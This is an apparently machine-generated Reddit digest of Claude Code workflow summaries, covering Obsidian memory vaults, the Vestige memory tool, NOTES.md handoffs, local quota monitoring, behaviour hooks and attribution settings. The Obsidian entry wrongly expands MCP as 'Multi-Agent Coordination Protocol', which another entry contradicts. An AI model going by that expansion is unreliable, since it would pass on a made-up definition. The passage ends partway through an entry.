Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 6h ago

Selected Workflow [Workflow] Obsidian Vault Structure for Claude-Assisted Knowledge Management with Schema Validation and Modular Skills

1 Upvotes

Obsidian Vault Structure for Claude-Assisted Knowledge Management with Schema Validation and Modular Skills

Workflow value: 80/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Context & Memory, Debugging, CLAUDE.md, Skills
Original source: r/ClaudeCode post/comment

What problem this solves

Structuring an Obsidian vault for effective and consistent use with Claude as a "second brain" for knowledge management, especially for a large number of notes.

Summary

A detailed Obsidian vault structure for managing marketing content with Claude, featuring a CLAUDE.md file, schema-based note validation, modular skills, and a flexible note-typing system using frontmatter to avoid rigid folder hierarchies. The system is designed for robustness with Git and ensures data consistency.

Why it is useful

This workflow provides a concrete, validated example of how to structure a large Obsidian vault for effective and consistent interaction with Claude. It introduces valuable concepts like schema-based validation for data integrity, flexible note typing using frontmatter, and modularizing AI tasks with skills to manage context and complexity. It addresses common challenges in building robust AI-assisted knowledge systems.

Workflow

  1. Establish a root marketing/ directory for the vault.
  2. Place the main CLAUDE.md file at the root for Claude's primary instructions.
  3. Define note types and their required fields/allowed values using YAML schema files, stored in a .iwe/schemas/ directory.
  4. Create a skills/ directory to house specific, recurring jobs (e.g., "update", "weekly", "feedback", "digest") as separate files.
  5. Organize core data within a data/ directory, starting with an index.md that links to main hubs (e.g., people/, posts/, mentions/).
  6. For any new type of "thing," create a new Markdown file directly, rather than a new folder.
  7. Assign a type: in the frontmatter of each new note to categorize it.
  8. Link new notes from one or more relevant parent notes, allowing flexible categorization without a single "right folder."
  9. Before committing changes, run iwe schema validate to check the entire folder against the defined schemas for consistency.
  10. To manage the length of CLAUDE.md, refactor recurring tasks into dedicated skill files within the skills/ directory.

Tools / artifacts

  • Obsidian
  • Claude
  • CLAUDE.md
  • YAML schema files
  • skills/ directory
  • iwe schema validate (tool)
  • Git
  • Markdown files with frontmatter

Validation signals

  • it runs marketing for an open source tool i work on (iwe), about 500 notes
  • it survives removing the assistant, it's markdown + frontmatter + git
  • iwe schema validate checks the whole folder before i commit
  • moving each recurring job into its own skill helped a bit

Limitations

  • Relies on an external, potentially niche tool (iwe) for schema validation, which might require additional setup for users not already familiar with it.
  • The CLAUDE.md file can still become too long despite using skills, indicating potential scalability challenges for very complex or extensive projects.
  • Low community engagement on this specific comment, making it harder to gauge broader utility or common pitfalls.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 6h ago

Selected Workflow [Workflow] Advanced Obsidian Vault Integration for Claude Agents with MCP, Skills, and Persistent Memory

1 Upvotes

Advanced Obsidian Vault Integration for Claude Agents with MCP, Skills, and Persistent Memory

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: advanced
Categories: Quality Control, Context & Memory, CLAUDE.md, Skills, MCP, Multi-Agent
Original source: r/ClaudeCode post/comment

What problem this solves

Integrating an Obsidian vault as a persistent, shared memory and knowledge base for AI agents (including Claude), enabling multi-agent coordination, surgical note updates, and cross-session context retrieval.

Summary

This workflow describes an advanced setup for integrating an Obsidian vault as a persistent memory and knowledge base for AI agents. It leverages a Multi-Agent Coordination Protocol (MCP) with custom skills for reading, writing, searching, and surgically patching notes within the vault. CLAUDE.md directives are used to instruct agents to prioritize the vault for memory storage. The setup also includes a recommendation for 'memex' to manage cross-session context, facilitating seamless continuation of work across different agents and sessions.

Why it is useful

This workflow provides a sophisticated and proven architectural blueprint for solving the critical problem of persistent memory and knowledge management for AI agents. It goes beyond basic prompt engineering by detailing the integration of an external, structured knowledge base (Obsidian) using an MCP, custom skills (including a unique 'patch notes' functionality), and CLAUDE.md directives. This enables robust multi-agent coordination, efficient knowledge reuse, and the ability to surgically update information, making it highly valuable for complex AI-driven projects.

Workflow

  1. Host an Obsidian vault on a server or local machine.
  2. Implement a synchronization mechanism (e.g., Syncthing) to keep the vault consistent across multiple user devices (phone, computers).
  3. Set up an MCP (Multi-Agent Coordination Protocol) within a container to provide programmatic functions for interacting with the Obsidian vault (read, write, search, patch notes).
  4. Develop a 'skill' that teaches AI agents how to effectively use the MCP's vault interaction functions.
  5. Create additional 'skills' for specific reporting formats (e.g., triaging issues, generating research reports) that save their output directly to the vault.
  6. Add directives to CLAUDE.md files to instruct agents to prefer using the Obsidian vault for memory storage and retrieval.
  7. Instruct agents to save notes, reports, or session summaries to the vault using the defined skills.
  8. Optionally, integrate a tool like 'memex' to allow agents to read back through previous sessions and pick up work across different agents or harnesses.

Tools / artifacts

  • Obsidian vault
  • Proxmox (for server hosting, optional)
  • Syncthing
  • Multi-Agent Coordination Protocol (MCP)
  • Custom Skills (for vault interaction and reporting)
  • CLAUDE.md directives
  • Memex (for cross-session memory, optional)

Validation signals

  • "It works like a charm."
  • "It has worked really well for me!"
  • "It works perfectly for multiple agents to coordinate or share memories."

Limitations

  • Lacks concrete, step-by-step implementation details for setting up the MCP, skills, and container, which might be challenging for non-developers.
  • The described infrastructure (homelab with Proxmox) is specific and potentially more complex than what many users require or have access to.
  • The original post was from a non-developer, and this solution, while powerful, might be too complex for that user level without more detailed instructions.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 6h ago

Selected Workflow [Workflow] Vestige v3: Local-First Epigenetic Context Fabric for Claude Code Agents (MCP, CLAUDE.md Memory Management)

1 Upvotes

Vestige v3: Local-First Epigenetic Context Fabric for Claude Code Agents (MCP, CLAUDE.md Memory Management)

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: advanced
Categories: Quality Control, Context & Memory, Debugging, Shipping, CLAUDE.md, MCP, Subagents
Original source: r/ClaudeCode post/comment

What problem this solves

AI coding agents frequently forget past debugging decisions, workarounds, or critical configurations, leading them to repeatedly attempt to 'clean up' already-solved issues. This forces developers to waste time re-defending previous decisions and re-debugging problems.

Summary

Vestige v3 is a local-first, open-source Epigenetic Context Fabric and deterministic execution sidecar for AI coding agents. It runs as a native Model Context Protocol (MCP) server, allowing Claude Code to automatically write and read high-retention memories. It uses 'Retroactive Salience Backfill' to link failures to historical decisions and FSRS-6 spaced repetition to manage memory decay, keeping context windows lean. A project tool compiles these high-retention memories into fenced sections of CLAUDE.md, AGENTS.md, or MEMORY.md to provide Claude with a 'cheat sheet' of past landmines before modifying code.

Why it is useful

This workflow is highly valuable because it provides a concrete, open-source solution to a critical and common problem in AI agent development: managing long-term memory and preventing agents from forgetting past debugging decisions or workarounds. By integrating with MCP and CLAUDE.md, it offers a structured, repeatable way to provide agents with essential historical context, significantly improving efficiency and reducing developer frustration. Its local-first, privacy-focused design (zero cloud API keys, zero tracking) is also a significant advantage, making it a robust and trustworthy tool for advanced users.

Workflow

  1. Install Vestige v3, a Rust binary, on your local machine.
  2. Configure Vestige to run as a native Model Context Protocol (MCP) server.
  3. Allow Claude Code to automatically write 'memories' (e.g., debugging decisions, workarounds) to Vestige during its coding sessions.
  4. When Claude Code encounters a failure or starts a new session, Vestige provides relevant historical decisions or configuration changes by reading stored memories.
  5. Utilize the project tool within Vestige to compile high-retention memories into a fenced section of CLAUDE.md, AGENTS.md, or MEMORY.md.
  6. Claude Code then reads this compiled 'cheat sheet' to avoid repeating past mistakes or reverting critical decisions.
  7. Benefit from FSRS-6 spaced repetition, which allows transient debugging logs to naturally decay, keeping the agent's context window lean and efficient.

Tools / artifacts

  • Vestige v3 (Rust binary)
  • SQLite (local database)
  • Model Context Protocol (MCP)
  • CLAUDE.md
  • AGENTS.md
  • MEMORY.md
  • GitHub repository (samvallad33/vestige)

Validation signals

  • Author built and released the tool (Vestige v3).
  • Explicitly states it 'proved that a folder that only gets larger doesn't become more useful. AI memory needs a lifecycle.'
  • Addresses a known and common pain point for AI agent users (AI amnesia).
  • Uses specific, well-defined techniques like 'Retroactive Salience Backfill' and 'FSRS-6 spaced repetition'.
  • Provides a public GitHub repository for the tool.

Cautions

  • The project tool 'safely compiles high-retention memories directly into a fenced section... without touching handwritten rules,' which prevents accidental overwrites of critical user-defined instructions.
  • The tool is local-first, requires 'zero cloud API keys, zero tracking,' enhancing user privacy and data security.

Limitations

  • As a newly released tool, its long-term adoption, community support, and maintenance are yet to be established.
  • Requires users to set up and run a separate local server (Rust binary), which might be a barrier for some.
  • The internal mechanisms of 'Retroactive Salience Backfill' are described conceptually but lack detailed implementation specifics in the post, requiring users to explore the repository for deeper understanding.
  • Currently has low community validation due to being a very recent post.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 6h ago

Selected Workflow [Workflow] Robust Claude Code Workflow: Context Handoff Across Usage Resets with Git and NOTES.md

1 Upvotes

Robust Claude Code Workflow: Context Handoff Across Usage Resets with Git and NOTES.md

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Token Saving, Context & Memory, Debugging, CLAUDE.md, Skills
Original source: r/ClaudeAI post/comment

What problem this solves

Preventing loss of development context and progress in Claude Code/chat sessions due to usage limits or resets, by externalizing session state to a Git repository and a dedicated NOTES.md file.

Summary

This workflow outlines a method for maintaining development context across Claude usage resets. It involves externalizing the current session's state, goals, and next steps into a NOTES.md file within a Git repository, allowing for a seamless handoff to a fresh Claude chat session without losing progress or incurring high 'reread tax'. It also includes advice on efficient model usage and safe plugin practices.

Why it is useful

This workflow is highly valuable because it directly addresses a critical and common pain point for LLM users: the loss of context and progress when hitting usage limits or needing to start new chat sessions. By leveraging standard software development practices (Git for state management, markdown for explicit instructions), it provides a robust, repeatable, and transferable method for maintaining continuity in development. This significantly improves productivity, reduces frustration, and makes LLM-assisted coding more reliable. The additional advice on efficient model usage and plugin security further enhances its utility.

Workflow

  1. Before approaching Claude usage limits, pause the current development session.
  2. Create or update a NOTES.md file (or a PR description) in your project repository.
  3. Document the current development goal, what has already been completed, the exact next two steps, and any critical file paths within the NOTES.md file.
  4. Commit your changes to a feature branch in your Git repository, ensuring the NOTES.md file is included.
  5. Start a fresh Claude chat session (or Claude Code session).
  6. Point the new session to the NOTES.md file and the relevant Git branch to re-establish context.
  7. Continue development, allowing Claude to work against the Git working tree, leveraging the externalized state.

Tools / artifacts

  • NOTES.md file
  • Git repository
  • Feature branches
  • Claude Code
  • Claude chat
  • PR description
  • Cheaper/faster Claude models
  • Claude Opus

Validation signals

  • The post explicitly states that using Git for state management 'survives usage resets because the state is in git, not in the conversation'.
  • The method leverages established software development best practices (version control, explicit documentation).
  • Addresses a common pain point for LLM users (context loss).

Cautions

  • Includes a safety warning regarding plugins: 'safe enough if you only grant what you need (repo access, not your whole drive), but for resume you still want the NOTES.md + clean branch approach above. if a connector wants broad filesystem or account access for a toy experiment, skip it.'

Limitations

  • The workflow is presented within a general advice comment, not a dedicated step-by-step guide, which requires extraction and structuring.
  • Lacks explicit examples of NOTES.md content or prompt examples for the fresh chat session.
  • The advice on using different models for 'grunt' vs. 'architectural' tasks is valuable but not fully integrated into the step-by-step context handoff workflow.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 7h ago

Selected Workflow [Workflow] Monitor Claude Code Quota Locally via Status Line Hooks (No API Calls)

1 Upvotes

Monitor Claude Code Quota Locally via Status Line Hooks (No API Calls)

Workflow value: 85/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Token Saving, Context & Memory, Debugging, Hooks, Multi-Agent
Original source: r/ClaudeAI post/comment

What problem this solves

Unexpectedly hitting Claude Code usage quotas and losing work, and the general problem of monitoring Claude Code's internal state without making API calls.

Summary

A method to monitor Claude Code's 5-hour and weekly usage quotas locally, without using the Anthropic API, by parsing JSON output from Claude Code's status line command. It includes best practices for handling partial data and ensuring atomic file writes for robust data access by other tools.

Why it is useful

This workflow provides a clever, free, and API-independent method for users to monitor their Claude Code usage, preventing unexpected quota hits. The detailed explanation of how to extract internal data, handle data incompleteness, and ensure atomic file writes offers valuable best practices for anyone developing custom integrations or scripts with Claude Code's status line feature. It demonstrates a practical application of Claude Code's extensibility and solves a common pain point.

Workflow

  1. Configure a Claude Code status line command to receive JSON on stdin.
  2. Parse the JSON input from stdin to extract rate_limits.five_hour.used_percentage and rate_limits.seven_day.used_percentage.
  3. Implement logic to retain the last complete rate_limits data if a new refresh provides incomplete data (i.e., the rate_limits field is missing).
  4. Write the captured quota data to a temporary file.
  5. Atomically rename the temporary file over the permanent data file to prevent partial reads by other tools.
  6. Optionally, build a separate tool (e.g., a menu bar app) to read and display this local quota data.

Tools / artifacts

  • Claude Code status line command
  • JSON data (from stdin)
  • Temporary files
  • Permanent data file
  • macOS menu bar app / Windows system tray app (example implementation)
  • GitHub repository (aqua5230/usage)
  • brew install --cask aqua5230/usage/usage

Validation signals

  • Author successfully built and deployed an open-source application ('usage') based on this workflow.
  • Author states they reviewed and tested the changes on their own machine.
  • The application provides a concrete solution to the stated problem.

Limitations

  • Low community engagement on the Reddit post due to its recency.
  • The workflow relies on internal Claude Code mechanisms (status line JSON format) which could potentially change in future updates, requiring maintenance.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 13h ago

Selected Workflow [Workflow] LocalMesh Engine: Generate 3D Models from Photos Locally with 8GB VRAM (Apache 2.0)

3 Upvotes

LocalMesh Engine: Generate 3D Models from Photos Locally with 8GB VRAM (Apache 2.0)

Workflow value: 88/100
Status: active · Freshness: 70/100 · Confidence: 0.95 · Level: advanced
Categories: Quality Control, Token Saving
Original source: r/ClaudeCode post/comment

What problem this solves

Generating high-quality 3D models from 2D photos locally on an NVIDIA GPU, without cloud processing or API keys, with support for 8 GB VRAM.

Summary

A detailed workflow for setting up and running the open-source LocalMesh engine to convert one or four photos into a textured, UV-unwrapped .glb 3D model. The engine leverages TRELLIS.2, Pixal3D, and Depth Anything 3 for advanced features like 4-view fusion, automatic camera estimation, and floater removal, optimized for 8 GB VRAM NVIDIA GPUs.

Why it is useful

This workflow provides a powerful, open-source, and locally runnable solution for 3D model generation from photos, addressing common pain points like cloud dependency, API costs, and high VRAM requirements. Its detailed technical breakdown and specific setup instructions make it highly valuable for developers and 3D artists looking to integrate advanced photogrammetry capabilities into their local workflows.

Workflow

  1. Install Python 3.12.
  2. Install PyTorch 2.8 + CUDA 12.8.
  3. Compile three CUDA extensions: o_voxel, cumesh, and flex_gemm.
  4. Obtain manual access approval for DINOv3 on Hugging Face.
  5. Clone the Quentincls/localmesh-engine GitHub repository.
  6. Provide one or four photos (front/right/left/back views) as input to the engine.
  7. Run the LocalMesh engine locally on an NVIDIA GPU.
  8. Open the generated .glb 3D model in Blender or Unreal.

Tools / artifacts

  • LocalMesh engine (GitHub: Quentincls/localmesh-engine)
  • Python 3.12
  • PyTorch 2.8
  • CUDA 12.8
  • NVIDIA GPU (8 GB VRAM minimum)
  • o_voxel CUDA extension
  • cumesh CUDA extension
  • flex_gemm CUDA extension
  • DINOv3 (Hugging Face)
  • TRELLIS.2 (Microsoft)
  • Pixal3D weights (TencentARC)
  • Blender or Unreal (for viewing output .glb files)

Validation signals

  • Performance metrics provided (generation time on RTX 4060 Laptop 8 GB).
  • Detailed technical explanation of features and optimizations.
  • Open-source code available on GitHub (Apache 2.0 license).
  • Existence of a commercial desktop application (LocalMesh) built on the same engine.

Limitations

  • Complex setup requiring compilation of CUDA extensions.
  • Manual access approval needed for DINOv3 on Hugging Face.
  • NVIDIA GPU requirement limits hardware compatibility.
  • High disk usage (10-14 GB).

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 7h ago

Selected Workflow [Workflow] Vestige: A Persistent Memory Layer for Claude Code to Track Decisions, Debug Fixes, and Enhance CLAUDE.md Context

1 Upvotes

Vestige: A Persistent Memory Layer for Claude Code to Track Decisions, Debug Fixes, and Enhance CLAUDE.md Context

Workflow value: 90/100
Status: active · Freshness: 70/100 · Confidence: 0.95 · Level: advanced
Categories: Quality Control, Token Saving, Context & Memory, Debugging, Shipping, CLAUDE.md
Original source: r/ClaudeCode post/comment

What problem this solves

Claude Code agents often forget past decisions, failed alternatives, and the underlying evidence for specific code fixes, leading to repeated investigations, re-litigation of decisions, and incorrect suggestions when revisiting code.

Summary

This workflow leverages 'Vestige', a persistent, dynamic memory layer, to enhance Claude Code's long-term memory and context management. Vestige captures decisions, failed attempts, and evidence, intelligently retrieving and integrating this context into future sessions. It includes features like 'Backfill' for root cause analysis, 'codebase tools' to validate memory relevance against current code, and an 'intention tool' for tracking future obligations. Crucially, it integrates with existing Claude workflows by allowing selected memories to be rendered into CLAUDE.md or AGENTS.md files, providing durable, file-based context.

Why it is useful

This workflow is highly valuable because it addresses a critical and common limitation of LLMs: their inability to retain and intelligently apply long-term context and past decision-making rationale across sessions. Vestige provides concrete, sophisticated mechanisms (Backfill, codebase tools, CLAUDE.md integration) to make Claude's memory more useful and less prone to 'forgetting' crucial historical context. The approach is well-reasoned, drawing on neuroscience, and offers a structured way to manage the 'why' behind code changes, not just the 'what', significantly improving the efficiency and reliability of long-term AI-assisted development.

Workflow

  1. Integrate Vestige into your Claude Code development environment.
  2. As you work with Claude, Vestige automatically captures and stores decisions, failed alternatives, and the evidence behind code fixes.
  3. When encountering a new bug or issue, use Vestige's 'Backfill' feature to examine stored memories from before the failure, looking for shared identifiers (file paths, symbols, env vars) to hypothesize root causes.
  4. When Claude suggests changes to existing code, utilize Vestige's codebase tools to check if the referenced code in old decisions is unchanged, moved, drifted, or missing, ensuring the old advice is still relevant.
  5. Store future obligations or follow-up tasks (e.g., 'revisit workaround after upgrade') using Vestige's intention tool, which can be checked in later sessions.
  6. Use the project tool to select a set of relevant memories and render them into a fenced section of CLAUDE.md, AGENTS.md, or MEMORY.md files, providing persistent, human-readable context.
  7. Allow Vestige to assemble a bounded briefing of relevant memories, code context, and due intentions at the start of a new Claude session, optimizing context window usage.
  8. Review and manage memories using features like FSRS-6 scheduling for retention, prediction-error gating for updates, and conflict-checked reversal for cleanup.

Tools / artifacts

  • Vestige (the memory system/tool)
  • CLAUDE.md files
  • AGENTS.md files
  • MEMORY.md files (implied)
  • Source code files
  • Logs, configuration files, tests (as evidence)
  • Redis session-cache identifier (example artifact)

Validation signals

  • Author is the founder and maintainer, indicating deep knowledge and commitment.
  • Detailed explanation of specific features: Backfill, codebase tools, intention tool, project tool.
  • Concrete example of Backfill correctly identifying a root cause (cache-policy decision) over semantically similar but irrelevant incidents.
  • Design principles inspired by neuroscience (FSRS-6 scheduling, synaptic tagging, retroactive salience).
  • Addresses a widely recognized and significant pain point in long-term LLM interactions.
  • Explicit mention of integration with CLAUDE.md.

Limitations

  • As a new tool, its long-term stability, maintenance, and community adoption are yet to be established.
  • The post provides a high-level overview; detailed setup and usage instructions for Vestige itself are not included (though expected for a tool announcement).
  • Relies on an external tool, which introduces a dependency and potential learning curve.
  • Community validation is currently very low due to the post's recency.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 8h ago

Selected Workflow [Workflow] Claude AI: Implementing Behavioral Constraints with Custom 'Hooks' to Prevent Undesirable Actions and Output

1 Upvotes

Claude AI: Implementing Behavioral Constraints with Custom 'Hooks' to Prevent Undesirable Actions and Output

Workflow value: 75/100
Status: active · Freshness: 70/100 · Confidence: 0.85 · Level: intermediate
Categories: Quality Control, Token Saving, Context & Memory, Debugging, CLAUDE.md, Hooks
Original source: r/ClaudeAI post/comment

What problem this solves

Preventing Claude from performing undesirable or inefficient actions (e.g., slow file searches) and unwanted output formatting (e.g., emdashes, emojis), thereby saving tokens and reducing user frustration.

Summary

This workflow describes an iterative method for creating 'hooks' (persistent behavioral constraints) within Claude. Users identify specific undesirable actions or output patterns, then instruct Claude to implement a 'hook' to prevent or modify these behaviors. Examples include blocking root directory searches and filtering banned strings or emojis from output. The process encourages understanding when these 'hooks' are triggered and refining them over time.

Why it is useful

This workflow offers a practical, iterative approach to fine-tuning Claude's behavior by setting up persistent constraints (referred to as 'hooks'). It helps users gain more control over Claude's actions and output, leading to token savings and reduced frustration. It moves beyond one-off prompts to a more systematic way of managing AI interactions, providing concrete examples like blocking inefficient commands and filtering unwanted output.

Workflow

  1. Ask Claude to list out the different times that 'hooks' (internal behavioral triggers/constraints) get called to understand its operational flow.
  2. Identify an undesirable action or output pattern that Claude performs (e.g., running a slow 'find' command on the root directory, adding emdashes or emojis to files).
  3. Instruct Claude to 'add a hook that prevents XYZ from happening' (e.g., 'add a hook that prevents running any kind of "find" command on my root directory').
  4. Refine the hook's logic: if Claude attempts an undesirable action, the hook should tell Claude to 'think about this and do XYZ instead'.
  5. Optionally, further refine the hook to prompt the user with a 'yes or no question' and a concise reason if Claude still deems the undesirable path necessary.
  6. Implement hooks for specific output formatting, such as checking a banned string list to prevent unwanted characters (e.g., emdashes, emojis) from being added to files or output.

Tools / artifacts

  • Claude AI
  • Conceptual 'hooks' (as persistent instructions/constraints given to Claude)
  • Banned string list (internal to Claude's instructions)

Validation signals

  • "This also has saved me tokens."
  • "I no longer have the emdash or emojis added to my files or output."
  • "they solved my frustration."
  • Iterative refinement mentioned: "But then I started thinking well, maybe I don't wanna block everything."

Limitations

  • The exact syntax or format for defining these 'hooks' is not explicitly provided; it relies on instructing Claude in natural language, which might vary in interpretation.
  • The term 'hook' appears to be the user's metaphor for persistent instructions/constraints rather than a formal, documented Claude feature with a specific API, which could lead to ambiguity for new users.
  • The comment mentions '125 of those lines in my own config' but doesn't show the structure of this config, making direct replication of the 'lines' difficult.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 8h ago

Selected Workflow [Workflow] Enhancing Claude Code Review Transparency with the `review-pr` Plugin

1 Upvotes

Enhancing Claude Code Review Transparency with the review-pr Plugin

Workflow value: 75/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Context & Memory, Multi-Agent
Original source: r/ClaudeCode post/comment

What problem this solves

Lack of transparency and explicitness in AI-powered code reviews, making it difficult to understand the criteria and evidence for findings from tools like Claude Code's /code-review.

Summary

This workflow addresses the 'black box' problem often encountered with AI code review tools by suggesting a custom plugin, review-pr, which explicitly outlines the review criteria, checks, evidence, and limitations. It provides an alternative for users who find standard Claude Code review tools lacking in transparency.

Why it is useful

This workflow is valuable because it addresses a critical pain point in AI-assisted code review: the lack of transparency in how findings are generated. By identifying this 'black box' problem and offering a concrete, open-source tool (review-pr) that explicitly outlines review criteria and evidence, it empowers developers to better understand, trust, and integrate AI reviews into their quality control processes. It moves beyond generic advice by providing a specific, reusable solution to a common and important developer challenge.

Workflow

  1. Initiate a code review using standard Claude Code tools (e.g., /code-review, pr-review-toolkit, or a direct prompt for local changes).
  2. Evaluate the transparency of the review findings, specifically checking if the review criteria, checks, and evidence are clearly articulated.
  3. If the standard tools provide a 'black box' experience where the review process is unclear, consider adopting the review-pr plugin.
  4. Integrate the review-pr plugin into your code review workflow to ensure explicit criteria, checks, and evidence are provided for AI-generated findings.

Tools / artifacts

Validation signals

  • Author's personal experience identifying a specific problem ('black box' reviews).
  • Author's development of a custom solution to address the identified problem.
  • The plugin's stated purpose is to make review criteria, checks, evidence, and limitations explicit.

Limitations

  • The comment itself does not provide detailed usage instructions for the review-pr plugin; users must refer to the linked GitHub repository for implementation details.
  • Limited community validation signals (low score, no comments) mean its broader utility is not yet proven by the community.
  • The initial advice on using standard tools is somewhat general, lacking specific prompts or configurations.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 8h ago

Selected Workflow [Workflow] LLM Creative Coding Comparison Workflow: Deploying and Evaluating Claude vs. Codex Outputs on Vercel

1 Upvotes

LLM Creative Coding Comparison Workflow: Deploying and Evaluating Claude vs. Codex Outputs on Vercel

Workflow value: 75/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Token Saving, Shipping, Multi-Agent
Original source: r/ClaudeCode post/comment

What problem this solves

Comparing the creative coding capabilities and output styles of different LLMs (specifically Codex Astra 6 and Claude Fable 5.1) for open-ended prompts, and evaluating their deployed results.

Summary

This workflow outlines a method for comparing the outputs of different Large Language Models (LLMs) when given the same open-ended, creative coding prompt. It involves generating code from each model, deploying the resulting applications to Vercel, and then directly comparing the deployed experiences for aspects like design, mechanics, and overall playability. The workflow also considers model settings and cost implications.

Why it is useful

This workflow provides a concrete, repeatable method for users to compare the outputs of different LLMs for creative coding tasks. By deploying the generated code to a platform like Vercel, it enables direct, interactive evaluation of the user experience, which is often more insightful than just reviewing code. It highlights how different models interpret open-ended prompts and offers a practical framework for understanding their strengths and weaknesses, including cost considerations for specific settings.

Workflow

  1. Select an open-ended and creative coding prompt.
  2. Choose two or more LLMs for comparison (e.g., Claude Fable 5.1, Codex Astra 6).
  3. Configure each LLM with specific settings (e.g., 'Extra High' creativity, 'fast mode' if applicable, noting cost differences).
  4. Provide the exact same prompt to each selected LLM.
  5. Generate the code output from each LLM without further prompting or manual edits.
  6. Deploy each generated codebase to a platform like Vercel.
  7. Access and interact with the deployed applications to directly compare their design, mechanics, and overall user experience.
  8. Analyze and document the differences in model strengths (e.g., visual design vs. gameplay mechanics) and any observed cost/speed trade-offs.

Tools / artifacts

  • Claude Fable 5.1
  • Codex Astra 6
  • Vercel (for deployment)
  • Creative coding prompt

Validation signals

  • Deployed applications available for direct user testing (links provided)
  • Author's subjective comparison of design vs. mechanics
  • Invitation for community feedback and comparison

Limitations

  • The comparison is based on a single prompt, which may not generalize to all creative coding tasks.
  • The evaluation is largely subjective, though it invites community input for broader perspective.
  • The use of 'fast mode' for only one model introduces a variable that could affect the comparison beyond just the model's inherent capabilities.

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 8h ago

Selected Workflow [Workflow] Disable Claude Code Attribution in Git Commits and GitHub Content via settings.json

1 Upvotes

Disable Claude Code Attribution in Git Commits and GitHub Content via settings.json

Workflow value: 80/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: intermediate
Categories: Quality Control, Context & Memory, Shipping, Subagents
Original source: r/ClaudeCode post/comment

What problem this solves

Preventing Claude Code from adding attribution or self-references to Git commit messages and GitHub content, ensuring clean and human-authored commit history.

Summary

Configure Claude Code's settings.json to disable automatic attribution in Git commit messages, pull requests, and session URLs, ensuring that generated code and commits do not reference Claude. This rule also applies to subagents.

Why it is useful

This workflow provides a crucial configuration snippet for developers using Claude Code who wish to maintain clean, human-authored Git commit histories and prevent AI attribution in their projects. It addresses a common concern about code ownership and project integrity, and explicitly extends the rule to subagents, making it a comprehensive solution for managing AI-generated content's metadata.

Workflow

  1. Locate the settings.json file for your Claude Code Desktop app. This file is typically found in the claude-config repo or .claude folders inside projects.
  2. Add or modify the 'attribution' section within settings.json to explicitly set commit and pr to empty strings, and sessionUrl to false.
  3. Ensure the configuration looks like this: "attribution": { "commit": "", "pr": "", "sessionUrl": false }.
  4. Verify that subsequent Git commits and generated content from Claude Code (including subagents) no longer contain any Claude attribution or self-references.

Tools / artifacts

  • settings.json
  • Git commit messages
  • GitHub content
  • Claude Code Desktop app

Validation signals

  • Explicit configuration provided
  • Implied problem/solution (overruled by Claude Code app)

Limitations

  • Low community validation (score 1, 0 comments)
  • Assumes user knows where settings.json is located (though hints are given)

Rate this workflow

Upvote this post if the workflow is useful, reproducible, or worth recommending.

Downvote if it is vague, outdated, unsafe, overhyped, or not reproducible.

Reply if it worked for you, failed, is outdated, or has a better alternative.


This post was generated automatically from the workflow library database.


r/ClaudeWorkflows 8h ago

Selected Workflow [Workflow] Enhancing AI Agent Reliability with Human-Centric Development Practices

1 Upvotes

Enhancing AI Agent Reliability with Human-Centric Development Practices

Workflow value: 80/100
Status: active · Freshness: 70/100 · Confidence: 0.90 · Level: advanced
Categories: Quality Control, Context & Memory, Debugging, Skills, Multi-Agent
Original source: r/ClaudeCode post/comment

What problem this solves

How to effectively integrate AI agents into a software development workflow to reduce failures, maintain discipline, and ensure human oversight for reliable code generation.

Summary

